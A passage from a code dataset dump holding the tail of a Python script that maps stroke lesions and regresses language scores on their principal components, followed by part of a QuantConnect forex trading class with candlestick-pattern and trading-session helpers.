\"/media/db242421/db242421_data/ConPagnon_data/text_data/controls.txt\"\nsubjects_list_txt = \"/media/db242421/db242421_data/ConPagnon_data/text_data/acm_patients.txt\"\nimpaired_language_list_txt = \"/media/db242421/db242421_data/ConPagnon_data/text_data/acm_impaired.txt\"\nnon_impaired_language_list_txt = \"/media/db242421/db242421_data/ConPagnon_data/text_data/acm_non_impaired.txt\"\nsubjects_list = pd.read_csv(subjects_list_txt, header=None)[0]\nimpaired_list = pd.read_csv(impaired_language_list_txt, header=None)[0]\nnon_impaired_list = pd.read_csv(non_impaired_language_list_txt, header=None)[0]\ncontrols_list = pd.read_csv(controls_list_txt, header=None)[0]\nsaving_directory = \"/media/db242421/db242421_data/ConPagnon_reports/lesion_behavior_mapping\"\n\nall_images = []\nall_lesion_flatten = []\nall_controls_images = []\n\n# Load shape and affine of one normalized lesion map\nsomeone_lesion_map = load_img(os.path.join(lesions_root_directory,\n \"sub44_av130474/lesion/wav130474_lesion_totale_s16.nii\"))\ntarget_affine = someone_lesion_map.affine\ntarget_shape = someone_lesion_map.shape\n\n# Just to check, load a control image\n# and get affine and shape\nsome_control_image = load_img(os.path.join(\n controls_root_directory,\n \"sub01_nc110193/RS1/anatstar/wnobias_anat1_nc110193-2604_20110427_02.nii\"))\n\ntarget_controls_affine = some_control_image.affine\ntarget_controls_shape = some_control_image.shape\n\n# Build a mean controls anatomical\nfor control in controls_list:\n # path to the control image\n subject_anatomical_path = os.path.join(controls_root_directory, control,\n 'RS1/anatstar')\n # Get anatomical image filename\n anatomical_file = glob.glob(os.path.join(subject_anatomical_path, 'wnobias*.nii'))[0]\n # Load the control anatomical image\n control_anatomical_image = load_img(img=anatomical_file)\n # load image into an array\n control_anatomical_array = control_anatomical_image.get_data()\n # Append the control image\n all_controls_images.append(control_anatomical_array)\n\n# compute the arithmetic mean of controls anatomical\n# image\nall_controls_array = np.array(all_controls_images)\nmean_controls_array = np.mean(all_controls_array, axis=0)\n\n# save mean controls image\nmean_controls_nifti = nb.Nifti1Image(dataobj=mean_controls_array,\n affine=target_affine)\nnb.save(img=mean_controls_nifti,\n filename=os.path.join(saving_directory, \"mean_controls.nii\"))\n\n# Read and load lesion image for each subject,\nfor subject in impaired_list:\n # path to the subject image\n subject_lesion_path = os.path.join(lesions_root_directory, subject, 'lesion')\n # Get lesion filename\n lesion_file = glob.glob(os.path.join(subject_lesion_path, 'w*.nii'))[0]\n # Load the normalized lesion image\n subject_lesion = load_img(img=lesion_file)\n # get lesion images affine\n lesion_affine = subject_lesion.affine\n # load image into an array\n subject_lesion_array = subject_lesion.get_data()\n # Append lesion array to all images list\n all_images.append(subject_lesion_array)\n # flatten the lesion array for a PCA later on\n all_lesion_flatten.append(np.array(subject_lesion_array.flatten(),\n dtype=np.int8))\n\nlesions_maps = np.array(all_lesion_flatten, dtype=np.int8)\nall_lesion_array = np.array(all_images, dtype=np.double)\n\n# Compute lesion overlap image\nlesion_overlap_array = np.sum(all_lesion_array, axis=0)\n\n# Save lesions maps overlay\nlesion_overlap_nifti = nb.Nifti1Image(dataobj=lesion_overlap_array,\n affine=target_affine)\nnb.save(img=lesion_overlap_nifti,\n filename=os.path.join(saving_directory, \"acm_impaired_v2.nii\"))\n\n# Save flatten lesion map\nsave_object(object_to_save=lesions_maps,\n saving_directory=saving_directory,\n filename='lesion_maps_acm.pkl')\n# Save flatten lesion array in numpy format\nnp.save(os.path.join(saving_directory, \"lesion_maps.npy\"),\n arr=lesions_maps)\n\n# Reduce the number of voxels, with a mask\n# unused voxel is background information\nlesions_maps_sum = np.sum(lesions_maps, axis=0)\nmask = np.where(lesions_maps_sum >= 1)[0]\nlesions_maps_masked = lesions_maps[..., mask]\n# Perform a truncated svd\nsvd_lesions_maps = TruncatedSVD(n_components=14)\n\nsvd_lesions_maps_reduced = svd_lesions_maps.fit_transform(lesions_maps_masked)\nsvd_lesions_maps_reconstructed = svd_lesions_maps.inverse_transform(svd_lesions_maps_reduced)\n\n# Compute loading defined as eigenvectors scaled by\n# the squared root of singular values\nsvd_lesion_maps_loadings = svd_lesions_maps.components_.T * \\\n np.sqrt(svd_lesions_maps.explained_variance_)\nsvd_lesion_maps_loadings = svd_lesion_maps_loadings.T\n\nprint(\"Percentage of variance explained with {} components \"\n \"retained: {}%\".format(svd_lesions_maps.n_components,\n round(svd_lesions_maps.explained_variance_ratio_.sum()*100, 2)))\n\n# Percentage of variance explained by each retained components\nD = decimal.Decimal\npercentage_of_variance_each_components = np.array([round(np.float(\n D(str(svd_lesions_maps.explained_variance_ratio_[i])).quantize(D('0.001'), rounding=decimal.ROUND_UP)), 3)\n for i in range(svd_lesions_maps.n_components)])*100\n# reconstruct each principal components as an image\n# projecting loadings back to brain space\nloading_nii_img = {}\nfor c in range(svd_lesions_maps.n_components):\n # initialize an flatten empty image\n pc_loading_on_brain = np.zeros(lesions_maps.shape[1])\n # Fill the voxels in the mask by the voxels loading\n # from PCA\n pc_loading_on_brain[mask] = svd_lesion_maps_loadings[c, ...]\n # Reshape the array of pc loading\n pc_loading_on_brain_reshaped = pc_loading_on_brain.reshape(target_shape)\n # Convert in a nifti image\n pc_loading_on_brain_reshaped_nii = nb.Nifti1Image(dataobj=pc_loading_on_brain_reshaped,\n affine=target_affine)\n loading_nii_img[\"PC\"+str(c+1)] = pc_loading_on_brain_reshaped_nii\n # Save in nifti format\n nb.save(img=pc_loading_on_brain_reshaped_nii,\n filename=os.path.join(saving_directory, 'PC_' + str(c) + '.nii'))\n\n# Construct a dataframe with the PCA result\ncolumns_names = ['PC{}'.format(i) for i in range(1, svd_lesions_maps.n_components+1)]\npca_results_df = pd.DataFrame(data=svd_lesions_maps_reduced,\n columns=columns_names)\npca_results_df.head()\n# rename index with subject identifier\npca_results_df = pca_results_df.rename(index=subjects_list)\npca_results_df.to_csv(index_label=\"subjects\",\n path_or_buf=os.path.join(saving_directory, \"pca_lesion_map.csv\"))\n\ncomponents_names = list(loading_nii_img.keys())\nfor component in components_names:\n plt.figure()\n plot_glass_brain(\n stat_map_img=loading_nii_img[component], plot_abs=True,\n cmap=\"RdBu_r\", colorbar=True,\n title=\"{} loadings: {} % of variance explained\".format(\n component,\n str(percentage_of_variance_each_components[components_names.index(component)])[0:3]),\n output_file=os.path.join(saving_directory, component + '.pdf'))\n plt.show()\n\n# plot on glass brain the lesion mapping\nplot_glass_brain(stat_map_img=lesion_overlap_nifti, plot_abs=False,\n cmap=\"rainbow\", colorbar=True,\n title=\"Lesion overlap of NAIS MCA stroke (N=25)\",\n output_file=os.path.join(saving_directory, \"lesion_mapping.pdf\"))\n\n# Barplot of explained variance per components\nsns.barplot(x=columns_names, y=svd_lesions_maps.explained_variance_ratio_*100)\nplt.title(\"Explained variance in % for each components (total: {} %)\".\n format(round(svd_lesions_maps.explained_variance_ratio_.sum()*100, 2)))\nplt.savefig(fname=os.path.join(saving_directory, \"explained_variance_ratio.pdf\"))\nplt.show()\n\n# Linear model with lesion principal components\n# as predictor, and language score from PCA of\n# NEEL battery test\n\n# Load regression data file\nacm_spreadsheet = pd.read_excel(\n io=\"/media/db242421/db242421_data/ConPagnon_data/regression_data/Resting State AVCnn_ cohort data.xlsx\")\n\n# subset to patients only\nacm_patients_data = acm_spreadsheet.loc[acm_spreadsheet[\"Groupe\"] == \"P\"][['pc1_language',\n 'pc2_language',\n 'pc3_language']]\n\n# Merge by index with the dataframe containing\n# the score from lesion mapping PCA\nfrom conpagnon.data_handling.data_management import merge_by_index\nacm_lesion_and_language_data = merge_by_index(dataframe1=acm_patients_data,\n dataframe2=pca_results_df)\n\n# Set variable in the model\npredictors = columns_names\ntarget_variables = [\"pc1_language\", \"pc2_language\", \"pc3_language\"]\n\n# Compute a linear model for each\n# target variable with all the predictor\nfor target_variable in target_variables[0:1]:\n # formula\n formula = target_variable + \"~\" + \"+\".join(predictors)\n # Call OLS object\n language_lesion_model = smf.ols(formula=formula,\n data=acm_lesion_and_language_data).fit(method='qr')\n\n # write model results\n model_summary = language_lesion_model.summary2()\n","repo_name":"ConPagnon/conpagnon","sub_path":"conpagnon/examples_and_test/behavior_to_lesion.py","file_name":"behavior_to_lesion.py","file_ext":"py","file_size_in_byte":10163,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"39176305309","text":"#region imports\nfrom AlgorithmImports import *\n#endregion\n''' \n This is the SymbolData class needed for storing info on symbols etc\n'''\n\nfrom clr import AddReference\nAddReference(\"System\")\nAddReference(\"QuantConnect.Algorithm\")\nAddReference(\"QuantConnect.Common\")\nAddReference(\"QuantConnect.Indicators\")\n\nimport enum\nimport math\nimport copy\nfrom datetime import date, time, datetime, timedelta\nfrom System import *\nfrom QuantConnect import *\nfrom QuantConnect import Market\nfrom QuantConnect.Algorithm import *\nfrom QuantConnect.Brokerages import *\nfrom QuantConnect.Orders import *\nfrom QuantConnect.Indicators import *\nfrom QuantConnect.Data import *\nfrom QuantConnect.Data.Market import *\nfrom QuantConnect.Data.Custom import *\nfrom QuantConnect.Data.Consolidators import *\nfrom QuantConnect.Python import *\nfrom structs_and_enums import *\nfrom dataclasses import dataclass\nfrom turningpoints import *\nfrom brad_turning_points import *\nfrom session_boxes import *\nfrom fusion_utils import *\nfrom external_structure import *\nfrom builder_perfect import *\nfrom price_tracker import *\n\n\nGREEN = 0\nRED = 1\nBLACK = 2\nday = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday']\n\n\n'''\nThis contains just some of the functions. Needed to get over the 64k file limit\nThe actual SymbolData class is the one you need to use when wanting to access these methods\n'''\nclass SymbolData_2(object):\n\n # Clear down strategy and tracking info\n def ClearTracking(self):\n # stop loss ticket. \n self.cancel_if_losing_time = None\n self.pb_wait_cycles = 0\n self.sl_position = 0 \n self.exit_price = 0.0\n self.activeStrat = Strats.Nothing\n self.activeDirection = StratDirection.Nothing\n self.split_live_levels = [False, False, False] \n self.tickets_trades = [None, None, None] \n self.tickets_stops = [None, None, None]\n self.tickets_last_stop_levels = [None, None, None]\n self.tickets_profits = [None, None, None]\n self.tickets_entry_no = [0, 0, 0] \n self.tickets_position_size = [0, 0, 0] \n self.tickets_ids = [None, None, None]\n self.tickets_live_levels = [False, False, False]\n self.tickets_low_asks = [0.0, 0.0, 0.0]\n self.tickets_low_bids = [0.0, 0.0, 0.0]\n self.tickets_high_asks = [0.0, 0.0, 0.0]\n self.tickets_high_bids = [0.0, 0.0, 0.0]\n self.entry_prices = [0.0, 0.0, 0.0]\n self.entry_times = [None, None, None]\n self.exit_prices = [0.0, 0.0, 0.0]\n self.spreads_paid = [0.0, 0.0, 0.0]\n self.max_pips_profits = [0.0, 0.0, 0.0]\n self.max_pips_losses = [0.0, 0.0, 0.0]\n self.sl_positions = [0, 0, 0]\n self.last_trail_levels = [None, None, None]\n self.EntryMacdSignal = 0.0\n self.EntryMacdFast = 0.0\n self.EntryMacdslow = 0.0\n self.EntryMacdSigDelt = 0.0 \n self.EntryMacdHist = 0.0\n self.EntryMacdCurrent = 0.0\n self.EntrySpreadPips = 0.0\n self.EntryCandlePips = 0.0\n self.EntryADXTrend4H = 'Nothing'\n self.EntryADXTrend1H = 'Nothing'\n self.low_time = None\n self.high_time = None\n self.max_pipsprofit = 0.0\n self.max_pipsloss = 0.0\n self.CurrentRes = ChartRes.res24H\n self.Trend24H = StratDirection.Nothing\n self.Trend4H = StratDirection.Nothing\n self.Trend1H = StratDirection.Nothing\n self.Trend15M = StratDirection.Nothing\n self.Trend5M = StratDirection.Nothing\n self.manualTradeFound = False\n self.manualTradeOn = False\n self.manualTradeConditional = False\n self.manualBounceTrade = False\n # self.manualTradeID = 0 -- do not clear this one down\n self.manualDirection = False\n self.manualLotSize = 0\n self.manualTradeDate = None\n self.manualTradeHour = None\n self.manualTradeMinute = None\n self.manualExpectedEntry = 0.0\n self.manualCheckMinutes = 0\n self.tradedToday = 0\n self.narniasign = False\n self.manual_fti_sign = False\n self.type_of_trade_found = Strats.Nothing\n self.trade_label_current = \"\"\n\n self.ftichangestop = False\n self.ftichangepips = 0.0\n self.ftichangeprofit = False\n self.ftichangeprofitpips = 0.0\n self.trading_move_to_be_flag = False\n self.trading_move_to_be_profit_pips = 0.0\n self.trading_move_to_be_new_stop_pips = 0.0\n self.trading_move_to_be_done = False\n self.trading_stop_allow_ratchet = True\n self.tradePoints = 0.0\n self.fti_in_control = False\n self.Ceil123R_1H = 0.0\n self.Floor123G_1H = 0.0\n self.Ceil123R_30M = 0.0\n self.Floor123G_30M = 0.0\n self.perfectPoints_30M = 0.0\n self.perfectPoints_1HR = 0.0\n self.AlertedPerfect_Short_1HR = False\n self.AlertedPerfect_Long_1HR = False\n self.AlertedPerfect_Short_30M = False\n self.AlertedPerfect_Long_30M = False\n self.channel_weakness_found_1M = False\n self.channel_weakness_found_5M = False\n self.channel_weakness_found_15M = False\n self.channel_weakness_found_30M = False\n self.channel_weakness_found_1HR = False \n self.TriggerCandleWindow_1HR = -1\n self.TriggerCandleWindow_30M = -1 \n self.channel_take_profit_pips = 0.0\n self.channel_stop_loss_price = 0.0 \n self.channel_trigger_price = 0.0\n self.set_specific_stop_loss = False\n self.set_specific_take_profit = False\n self.currentPosition = 0.0\n self.state_of_symbol = SymbolStates.looking\n\n\n \n # look for 123G Narnia with total candles of a certain size \n def Is123GNarnia(self, mybars, mycolours, totalpips, pipsize, profit_factor):\n if self.CheckCandlePatternInWindow(mycolours, GREEN, GREEN, GREEN):\n barlen = (mybars[0].Bid.Close - mybars[2].Bid.Open) / pipsize\n takeprofit = 0.0\n if barlen >= totalpips:\n # now we have a long enough section of 3 GREEN candles\n #nentry = round(mybars[1].Bid.Open, 5)\n nentry = round(mybars[0].Bid.Close, 5) #Si earlier entry on the E1 open\n nstop = round(mybars[0].Bid.High, 5)\n takeprofit = round((abs(nentry - nstop)/pipsize) * profit_factor, 1)\n if takeprofit < 15.0:\n takeprofit = 15.0\n return (True, nentry, nstop, takeprofit)\n return (False, 0.0, 0.0, 0.0)\n \n \n # look for 123R Narnia with total candles of a certain size \n def Is123RNarnia(self, mybars, mycolours, totalpips, pipsize, profit_factor):\n if self.CheckCandlePatternInWindow(mycolours, RED, RED, RED):\n barlen = (mybars[2].Bid.Open - mybars[0].Bid.Close) / pipsize\n takeprofit = 0.0\n if barlen >= totalpips:\n # now we have a long enough section of 3 RED candles\n #nentry = round(mybars[1].Bid.Open, 5)\n nentry = round(mybars[0].Bid.Close, 5) #Si earlier entry\n nstop = round(mybars[0].Bid.Low, 5) #Si currently overwriting to 20 pips in code where order placed\n takeprofit = round((abs(nentry - nstop)/pipsize) * profit_factor, 1)\n if takeprofit < 15.0:\n takeprofit = 15.0\n return (True, nentry, nstop, takeprofit)\n return (False, 0.0, 0.0, 0.0)\n\n # look for 123G-then R through Numbers - and then this could be a LionShort\n def IsLionShort(self, mybars, mycolours, myemas, pipsize):\n if mycolours[0] == RED:\n barlen = (mybars[0].Bid.Open - mybars[0].Bid.Close) / pipsize\n closelen = (mybars[0].Bid.Close - mybars[0].Bid.Low) / pipsize\n if barlen > 6.0:\n # we have a 6 pip or greater bar for engulfing\n if mybars[0].Bid.Close < mybars[1].Bid.Low:\n #this is the definition of a short engulfing candle\n nextnumdown = self.NumbersBelow(mybars[0].Bid.Open)\n nextnumup = self.NumbersAbove(mybars[0].Bid.Close)\n if nextnumdown >= nextnumup: # we have crossed numbers in the R\n # now check if EMA is inside body\n if self.DoesEMACross(mybars[0], myemas[0]):\n #now need to check we did not close within 0.1 pips of the Low (ran out of steam)\n if closelen > 0.1:\n disttonumbelow = (mybars[0].Bid.Close - self.NumbersBelow(mybars[0].Bid.Close)) / pipsize \n if disttonumbelow > 10.0:\n # don't mark a Lion if we are within 10 pips of Numbers at the close\n return True\n return False\n \n # look for 123R-then G through Numbers - and then this could be a LionLong\n def IsLionLong(self, mybars, mycolours, myemas, pipsize):\n if mycolours[0] == GREEN:\n barlen = (mybars[0].Bid.Close - mybars[0].Bid.Open) / pipsize\n closelen = (mybars[0].Bid.High - mybars[0].Bid.Close) / pipsize\n if barlen > 6.0:\n # we have a 6 pip or greater bar - now need to look for engulfing\n if mybars[0].Bid.Close > mybars[1].Bid.High:\n #this is the definition of a Long engulfing candle\n nextnumdown = self.NumbersBelow(mybars[0].Bid.Close)\n nextnumup = self.NumbersAbove(mybars[0].Bid.Open)\n if nextnumdown >= nextnumup: # we have crossed numbers in the G\n # now check if EMA is inside body\n if self.DoesEMACross(mybars[0], myemas[0]):\n #now need to check we did not close within 0.1 pips of the High (ran out of steam)\n if closelen > 0.1:\n disttonumabove = (self.NumbersAbove(mybars[0].Bid.Close) - mybars[0].Bid.Close) / pipsize \n if disttonumabove > 10.0:\n return True\n return False\n\n\n\n # Look for a Doji at most recent candle\n def IsDoji(self, mybars, mycolours):\n candleratio = 0.15 # open and close shouldn't be more than 15% of total length\n wickratio = 0.01\n wtop = mybars[0].Bid.High\n wbottom = mybars[0].Bid.Low\n ctop = 0.0\n cbottom = 0.0\n if mycolours[0] == GREEN:\n ctop = mybars[0].Bid.Close\n cbottom = mybars[0].Bid.Open\n if mycolours[0] == RED:\n ctop = mybars[0].Bid.Open\n cbottom = mybars[0].Bid.Close\n candledist = ctop - cbottom\n wickdist = wtop - wbottom\n if wickdist == 0.0 : return False # basically a zero wick\n if candledist / wickdist > candleratio : return False # candle is too fat to be a Doji\n fromtop = wtop - ctop\n frombottom = cbottom - wbottom\n if fromtop / wickdist < wickratio : return False # too near the top\n if frombottom / wickdist < wickratio : return False # too near the bottom\n # we now have only the Doji possibility left\n return True\n\n # Look for a Hammer\n def IsHammer(self, mybars, mycolours):\n candleratio = 0.25\n wickratio = 0.2\n wtop = mybars[0].Bid.High\n wbottom = mybars[0].Bid.Low\n ctop = 0.0\n cbottom = 0.0\n if mycolours[0] == GREEN:\n ctop = mybars[0].Bid.Close\n cbottom = mybars[0].Bid.Open\n if mycolours[0] == RED:\n ctop = mybars[0].Bid.Open\n cbottom = mybars[0].Bid.Close\n #nextnumdown = self.NumbersBelow(wtop)\n #nextnumup = self.NumbersAbove(wbottom)\n #if nextnumdown >= nextnumup:\n # did cross numbers\n candledist = ctop - cbottom\n wickdist = wtop - wbottom\n if wickdist == 0.0 : return False\n fromtop = wtop - ctop\n if (candledist / wickdist) < candleratio and (fromtop / wickdist) < wickratio:\n # we now have a small candle, near to the top\n return True\n return False\n \n # Look for a ReverseHammer\n def IsReverseHammer(self, mybars, mycolours):\n candleratio = 0.25\n wickratio = 0.2\n wtop = mybars[0].Bid.High\n wbottom = mybars[0].Bid.Low\n ctop = 0.0\n cbottom = 0.0\n if mycolours[0] == GREEN:\n ctop = mybars[0].Bid.Close\n cbottom = mybars[0].Bid.Open\n if mycolours[0] == RED:\n ctop = mybars[0].Bid.Open\n cbottom = mybars[0].Bid.Close\n #nextnumdown = self.NumbersBelow(wtop)\n #nextnumup = self.NumbersAbove(wbottom)\n #if nextnumdown >= nextnumup:\n # did cross numbers\n candledist = ctop - cbottom\n wickdist = wtop - wbottom\n if wickdist == 0.0 : return False\n frombottom = cbottom - wbottom\n if (candledist / wickdist) < candleratio and (frombottom / wickdist) < wickratio:\n # we now have a small candle, near to the bottom\n return True\n return False\n\n\n '''this is fired on a timed event - when the candle closes and in a Narnia, this is used to close the trade\n will be superceded by better trade management\n '''\n def CloseNarniaIfOpen(self):\n '''\n this should now fire for the correct SymbolData instance\n '''\n if self.narniasign and self.manualTradeOn:\n # we have a trade open - close it down\n self.my_algo.Transactions.CancelOpenOrders(\"GBPUSD\")\n self.my_algo.Liquidate(\"GBPUSD\")\n self.ClearTracking()\n self.my_algo.LiveTradeCount -= 1\n if self.my_algo.LiveTradeCount < 0:\n self.my_algo.LiveTradeCount = 0\n\n \n def DidPriceMoveStraightUp(self, pip_move, pip_size, num_periods, my_bars, my_colours):\n # returns True/False, Low_of_Tip, Highest_Price, Starting_Price of move up, pips moved up, hours of the rise\n # work out whether over the number of bars defined by num_periods if the price moved more than pip_move pips upwards\n # without being broken by a RED candle closing below a previous Low\n maybe_low = False\n bar_count = 1\n tip_low_1 = 0.0\n lowest_low_seen = 0.0\n highest_high_seen = 0.0\n if my_colours[0] == RED and my_bars[0].Bid.Close < my_bars[1].Bid.Low:\n maybe_low = True\n highest_high_seen = my_bars[0].Bid.High\n tip_low_1 = my_bars[0].Bid.Close\n lowest_low_seen = my_bars[0].Bid.Close\n for i in range(1, num_periods-1):\n bar_count += 1\n if my_colours[i] == GREEN:\n # we know price is moving up - so update values and move on\n if my_bars[i].Bid.High > highest_high_seen:\n highest_high_seen = my_bars[i].Bid.Close # top of GREEN body\n if my_bars[i].Bid.Low < lowest_low_seen:\n lowest_low_seen = my_bars[i].Bid.Low\n else:\n # the price drop run may have been broken\n if my_bars[i].Bid.Close < my_bars[i+1].Bid.Low:\n # this is the start of the run - stop counting here\n bar_count -= 1\n break\n if my_bars[i].Bid.Low < lowest_low_seen:\n lowest_low_seen = my_bars[i].Bid.Low\n if my_bars[i].Bid.High > highest_high_seen:\n highest_high_seen = my_bars[i].Bid.Open # top of RED body\n price_diff = highest_high_seen - lowest_low_seen\n pip_move_seen = round(price_diff / pip_size, 1)\n if pip_move_seen >= pip_move:\n # now we want to report the move down\n # returns True/False, High_of_Lip, Lowest_Price, Starting_Price of move down, pips moved down\n return (True, tip_low_1, highest_high_seen, lowest_low_seen, pip_move_seen, bar_count)\n else:\n return (False, 0.0, 0.0, 0.0, 0, 0)\n return (False, 0.0, 0.0, 0.0, 0, 0)\n\n \n def DidPriceMoveStraightDown(self, pip_move, pip_size, num_periods, my_bars, my_colours):\n # returns True/False, High_of_Lip, Lowest_Price, Starting_Price of move down, pips moved down, hours of the drop\n # work out whether over the number of bars defined by num_periods if the price moved more than pip_move pips downwards\n # without being broken by a GREEN candle closing over a previous High.\n maybe_high = False\n bar_count = 1\n trough_high_1 = 0.0\n lowest_low_seen = 0.0\n highest_high_seen = 0.0\n if my_colours[0] == GREEN and my_bars[0].Bid.Close > my_bars[1].Bid.High:\n maybe_high = True\n lowest_low_seen = my_bars[0].Bid.Low\n trough_high_1 = my_bars[0].Bid.Close\n highest_high_seen = my_bars[0].Bid.Close\n for i in range(1, num_periods-1):\n bar_count += 1\n if my_colours[i] == RED:\n # we know price is moving down - so update values and move on\n if my_bars[i].Bid.Low < lowest_low_seen:\n lowest_low_seen = my_bars[i].Bid.Close # base of RED candle body\n if my_bars[i].Bid.High > highest_high_seen:\n highest_high_seen = my_bars[i].Bid.High\n else:\n # the price drop run may have been broken\n if my_bars[i].Bid.Close > my_bars[i+1].Bid.High:\n # this is the start of the run - stop counting here\n bar_count -= 1\n break\n if my_bars[i].Bid.Low < lowest_low_seen:\n lowest_low_seen = my_bars[i].Bid.Open #base of GREEN candle body\n if my_bars[i].Bid.High > highest_high_seen:\n highest_high_seen = my_bars[i].Bid.High\n price_diff = highest_high_seen - lowest_low_seen\n pip_move_seen = round(price_diff / pip_size, 1)\n if pip_move_seen >= pip_move:\n # now we want to report the move down\n # returns True/False, High_of_Lip, Lowest_Price, Starting_Price of move down, pips moved down\n return (True, trough_high_1, lowest_low_seen, highest_high_seen, pip_move_seen, bar_count)\n else:\n return (False, 0.0, 0.0, 0.0, 0, 0)\n return (False, 0.0, 0.0, 0.0, 0, 0)\n \n \n def IsPriceMidDrop(self, pip_move, pip_size, min_periods, num_periods, my_bars, my_colours):\n bar_count = 1\n lowest_low_seen = 0.0\n highest_high_seen = 0.0\n if my_colours[0] == GREEN and my_bars[0].Bid.Close > my_bars[1].Bid.High:\n # Already found the lip - not still mid-move\n return (False, 0.0)\n else:\n if my_colours[0] == GREEN:\n highest_high_seen = my_bars[0].Bid.Close\n lowest_low_seen = my_bars[0].Bid.Open\n else:\n highest_high_seen = my_bars[0].Bid.Open\n lowest_low_seen = my_bars[0].Bid.Close\n for i in range(1, num_periods-1):\n bar_count += 1\n if my_colours[i] == RED:\n # we know price is moving down - so update values and move on\n if my_bars[i].Bid.Close < lowest_low_seen:\n lowest_low_seen = my_bars[i].Bid.Close # base of RED candle body\n if my_bars[i].Bid.Open > highest_high_seen:\n highest_high_seen = my_bars[i].Bid.Open\n else:\n # the price drop run may have been broken\n if my_bars[i].Bid.Close > my_bars[i+1].Bid.High:\n # we need a minimum number of bars involved in the drop - if we don't reach the end then return\n if i < min_periods:\n return (False, 0.0)\n else:\n break\n if my_bars[i].Bid.Open < lowest_low_seen:\n lowest_low_seen = my_bars[i].Bid.Open #base of GREEN candle body\n if my_bars[i].Bid.Close > highest_high_seen:\n highest_high_seen = my_bars[i].Bid.Close\n price_diff = highest_high_seen - lowest_low_seen\n pip_move_seen = round(price_diff / pip_size, 1)\n if pip_move_seen >= pip_move:\n # now we want to report the move down\n # returns True/False, pips moved down\n return (True, pip_move_seen)\n else:\n return (False, 0.0)\n return (False, 0.0) \n \n \n def IsPriceMidRise(self, pip_move, pip_size, min_periods, num_periods, my_bars, my_colours):\n bar_count = 1\n lowest_low_seen = 0.0\n highest_high_seen = 0.0\n if my_colours[0] == RED and my_bars[0].Bid.Close < my_bars[1].Bid.Low:\n # Already found the lip - not still mid-move\n return (False, 0.0)\n else:\n if my_colours[0] == GREEN:\n highest_high_seen = my_bars[0].Bid.Close\n lowest_low_seen = my_bars[0].Bid.Open\n else:\n highest_high_seen = my_bars[0].Bid.Open\n lowest_low_seen = my_bars[0].Bid.Close\n for i in range(1, num_periods-1):\n bar_count += 1\n if my_colours[i] == GREEN:\n # we know price is moving up - so update values and move on\n if my_bars[i].Bid.Open < lowest_low_seen:\n lowest_low_seen = my_bars[i].Bid.Open \n if my_bars[i].Bid.Close > highest_high_seen:\n highest_high_seen = my_bars[i].Bid.Close\n else:\n # the price rise run may have been broken\n if my_bars[i].Bid.Close < my_bars[i+1].Bid.Low:\n # we need a minimum number of bars involved in the drop - if we don't reach the end then return\n if i < min_periods:\n return (False, 0.0)\n else:\n break\n if my_bars[i].Bid.Close < lowest_low_seen:\n lowest_low_seen = my_bars[i].Bid.Close \n if my_bars[i].Bid.Open > highest_high_seen:\n highest_high_seen = my_bars[i].Bid.Open\n price_diff = highest_high_seen - lowest_low_seen\n pip_move_seen = round(price_diff / pip_size, 1)\n if pip_move_seen >= pip_move:\n # now we want to report the move up\n # returns True/False, pips moved up\n return (True, pip_move_seen)\n else:\n return (False, 0.0)\n return (False, 0.0) \n\n\n\n def UpdateSessions(self, sender, my_time, ask_price_now, bid_price_now, logging=False): #si 11.0 --> need to figure out the current session\n #lets start the basis on winter time - where US is -5 from UTC\n # TODO: make sure to update session start/end times for summer time changes \n # TODO: add session length info somewhere, for easy ref\n # TODO: create simple helper functions for last session pip move, current session pip move and time into current session, current session prediction\n my_hour = my_time.hour\n SessionOpen = False\n pip_size = self.minPriceVariation * 10\n if my_hour >= 21:\n if my_hour == 21: #reset high lows on session entry\n session_avg = self.historic_sessions.get_averages(SessionNames.Asia)\n self.live_sessions[SessionNames.Asia].start_session(SessionNames.Asia, bid_price_now, ask_price_now, my_time, pip_size, session_avg)\n self.current_session = SessionNames.Asia\n self.live_sessions[SessionNames.Pre_Asia].end_session(bid_price_now, ask_price_now, my_time)\n self.previous_session = SessionNames.Pre_Asia\n self.historic_sessions.add_completed_session(self.live_sessions[SessionNames.Pre_Asia])\n\n if logging and not sender.IsWarmingUp: sender.Log(self.live_sessions[SessionNames.Pre_Asia].dump_session())\n SessionOpen = True\n return SessionNames.Asia, SessionNames.Pre_Asia, SessionOpen\n else:\n if my_hour >= 0 and my_hour < 1:\n return SessionNames.Asia, SessionNames.Pre_Asia, SessionOpen # this is the later part of the Asia session\n elif my_hour >= 1 and my_hour < 5:\n if my_hour == 1:\n # start of EUROPE session - so log out ASIA session highs/lows\n session_avg = self.historic_sessions.get_averages(SessionNames.Europe)\n self.live_sessions[SessionNames.Europe].start_session(SessionNames.Europe, bid_price_now, ask_price_now, my_time, pip_size, session_avg)\n self.current_session = SessionNames.Europe\n self.live_sessions[SessionNames.Asia].end_session(bid_price_now, ask_price_now, my_time)\n self.previous_session = SessionNames.Asia\n self.historic_sessions.add_completed_session(self.live_sessions[SessionNames.Asia])\n \n if logging and not sender.IsWarmingUp: sender.Log(self.live_sessions[SessionNames.Asia].dump_session())\n if my_hour == 1 or my_hour == 2:\n SessionOpen = True\n return SessionNames.Europe, SessionNames.Asia, SessionOpen\n elif my_hour >= 5 and my_hour < 9:\n if my_hour == 5:\n # start of GAP session - so log out Europe session highs/lows\n session_avg = self.historic_sessions.get_averages(SessionNames.Pre_US)\n self.live_sessions[SessionNames.Pre_US].start_session(SessionNames.Pre_US, bid_price_now, ask_price_now, my_time, pip_size, session_avg)\n self.current_session = SessionNames.Pre_US\n self.live_sessions[SessionNames.Europe].end_session(bid_price_now, ask_price_now, my_time)\n self.previous_session = SessionNames.Europe\n self.historic_sessions.add_completed_session(self.live_sessions[SessionNames.Europe])\n\n if logging and not sender.IsWarmingUp: sender.Log(self.live_sessions[SessionNames.Europe].dump_session())\n return SessionNames.Pre_US, SessionNames.Europe, SessionOpen \n elif my_hour >= 9 and my_hour < 13:\n if my_hour == 9:\n # start of US session - so log out GAP session highs/lows\n session_avg = self.historic_sessions.get_averages(SessionNames.US)\n self.live_sessions[SessionNames.US].start_session(SessionNames.US, bid_price_now, ask_price_now, my_time, pip_size, session_avg)\n self.current_session = SessionNames.US\n self.live_sessions[SessionNames.Pre_US].end_session(bid_price_now, ask_price_now, my_time)\n self.previous_session = SessionNames.Pre_US\n self.historic_sessions.add_completed_session(self.live_sessions[SessionNames.Pre_US])\n\n if logging and not sender.IsWarmingUp: sender.Log(self.live_sessions[SessionNames.Pre_US].dump_session())\n SessionOpen = True\n return 